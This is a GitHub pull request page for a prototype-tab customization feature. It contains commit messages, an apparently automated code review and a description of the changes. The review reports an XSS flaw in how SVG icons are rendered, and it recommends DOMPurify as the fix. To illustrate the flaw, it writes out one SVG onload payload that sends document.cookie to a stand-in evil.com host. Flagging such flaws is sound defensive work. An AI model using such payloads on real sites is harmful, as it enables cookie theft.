Add new prototype page route#334
Conversation
…roved normalization and visibility logic
…figuration in TemplateForm and PagePrototypeDetail - Introduced StagingTabButtonPreview component for rendering staging tab buttons with customizable labels, icons, and styles. - Enhanced TemplateForm to manage staging configuration, including visibility, label, icon URL, and style selection. - Updated PageNewPrototypeDetail to handle new prototype creation and session management, including staging configuration. - Modified PagePrototypeDetail to incorporate staging configuration and render StagingTabButton for navigation. - Improved routing to include a new prototype detail page. - Updated hooks to support model and prototype retrieval via search parameters.
…ariants - Added support for custom SVG icons in PrototypeTabs and CustomTabEditor components. - Introduced a global style variant for tabs, allowing customization of tab appearance (e.g., 'tab', 'primary', 'outline', 'ghost'). - Updated the TemplateForm to include options for setting tab styles and SVG icons. - Refactored StagingTabButton and StagingTabButtonPreview to utilize SVG icons instead of image URLs. - Modified PageNewPrototypeDetail and PagePrototypeDetail to handle the new tab variant and icon configurations. - Improved user interface for managing tab styles and icons in the TemplateManager.
- Added RightNavPluginButton interface to define properties for right nav buttons. - Updated CustomTabEditor to manage right nav buttons, including adding, editing, and removing buttons. - Integrated right nav button configuration into the TemplateForm and PageNewPrototypeDetail components. - Refactored staging configuration handling to accommodate right nav buttons. - Updated UI components to reflect changes in right nav button management.
2c721d4 to
3f3d0c7
Compare
Code Review — PR #334Reviewer: Automated review via Claude Code Critical Issues (Must Fix)1. XSS Vulnerability — 12 instances of unsanitized
|
| File | Instances |
|---|---|
frontend/src/components/molecules/NewPrototypeTabs.tsx |
1 |
frontend/src/components/molecules/PrototypeTabs.tsx |
1 |
frontend/src/components/organisms/CustomTabEditor.tsx |
6 |
frontend/src/components/organisms/StagingTabButton.tsx |
1 |
frontend/src/components/organisms/StagingTabButtonPreview.tsx |
1 |
frontend/src/components/organisms/TemplateForm.tsx |
2 |
A model owner could store <svg onload="fetch('https://evil.com?c='+document.cookie)"> and it would execute for every user viewing the tabs.
Fix: The codebase already has the pattern in NavigationBar.tsx:
DOMPurify.sanitize(icon, { USE_PROFILES: { svg: true, svgFilters: true } })All 12 instances need this sanitization applied.
Major Issues (Should Fix)
2. ~10 console.log statements left in production code
Mostly in TemplateForm.tsx and one in PageNewPrototypeDetail.tsx (line ~121) that fires on every render. These should be removed before merge.
3. Heavy code duplication
renderTabIconandtabItemClassesare copy-pasted betweenNewPrototypeTabs.tsxandPrototypeTabs.tsx. Should be extracted into a shared utility module.PageNewPrototypeDetail.tsx(~725 lines) duplicates large chunks fromPagePrototypeDetail.tsx— staging config extraction, tab save handlers, addon select, plugin preloading. Consider extracting shared logic into custom hooks (e.g.,usePrototypeTabConfig,useStagingConfig).
4. Fragile active tab detection
PrototypeTabs.tsx uses window.location.search.includes() for matching the active plugin tab — a substring match that can falsely match if one plugin slug is a prefix of another. Should use useSearchParams() for exact matching instead.
Minor Issues (Nice to Fix)
- Unused variable
pluginIddeclared but never used inPageNewPrototypeDetail.tsx(line ~96) currentUser?.id!inFormNewPrototype.tsx(line ~180) — non-null assertion doesn't guard againstundefined. Add a proper null check.- Missing useEffect dependency —
onModelChangenot listed in deps array inFormNewPrototype.tsx(line ~105). Will cause stale closure if the callback changes. - Error checked by string comparison —
FormNewPrototype.tsx(lines ~117-120) uses string equality to detect the duplicate-name error. A typed error code would be more robust. - Type inconsistency —
StagingConfig.varianttype includes'secondary'but the UI style picker only offers['tab', 'primary', 'outline', 'ghost']. Either add it to the picker or remove from the type. - No route-level auth guard on
/new-prototype— should verify this is intentional or add protection.
CI Status
Summary
The feature itself is well-structured and the approach is sound. However, the XSS vulnerability (12 instances) is a blocker. The debug logging and code duplication also need cleanup before this is ready to merge.
|
@7inh pls improve above points |
…orm and PageNewPrototypeDetail
…n management in PageNewPrototypeDetail
Signed-off-by: 7inh <75607734+7inh@users.noreply.github.com>
Signed-off-by: 7inh <75607734+7inh@users.noreply.github.com>
This pull request introduces a new feature for customizing the Staging tab button in the prototype tabs UI, along with several improvements to tab configuration and editing. The most important changes are the addition of a dedicated Staging tab editor, new customization options for the Staging tab button, and updates to tab visibility logic and serialization. These enhancements provide users with greater control over the appearance and behavior of the Staging tab.
Staging Tab Customization Feature:
StagingConfiginterface and integrated it into theCustomTabEditorcomponent, enabling customization of the Staging tab button's label, icon visibility, icon URL, and style variant. [1] [2] [3]StagingTabButtonandStagingTabButtonPreviewcomponents for rendering and previewing the customized Staging tab button in both the editor and the tab bar. [1] [2]Tab Editor Improvements:
CustomTabEditordialog, allowing users to configure and preview Staging tab settings alongside custom and sidebar tabs. [1] [2]onSavehandler and state management inCustomTabEditorto persist Staging tab configuration changes. [1] [2]Tab Visibility and Serialization Logic:
PrototypeTabs, ensuring the first visible tab (not necessarily 'overview') is used as the default when no tab is specified. [1] [2]Tab Editor UX Fixes:
These changes collectively enhance the flexibility and user experience of managing prototype tabs, especially with the new Staging tab customization capabilities.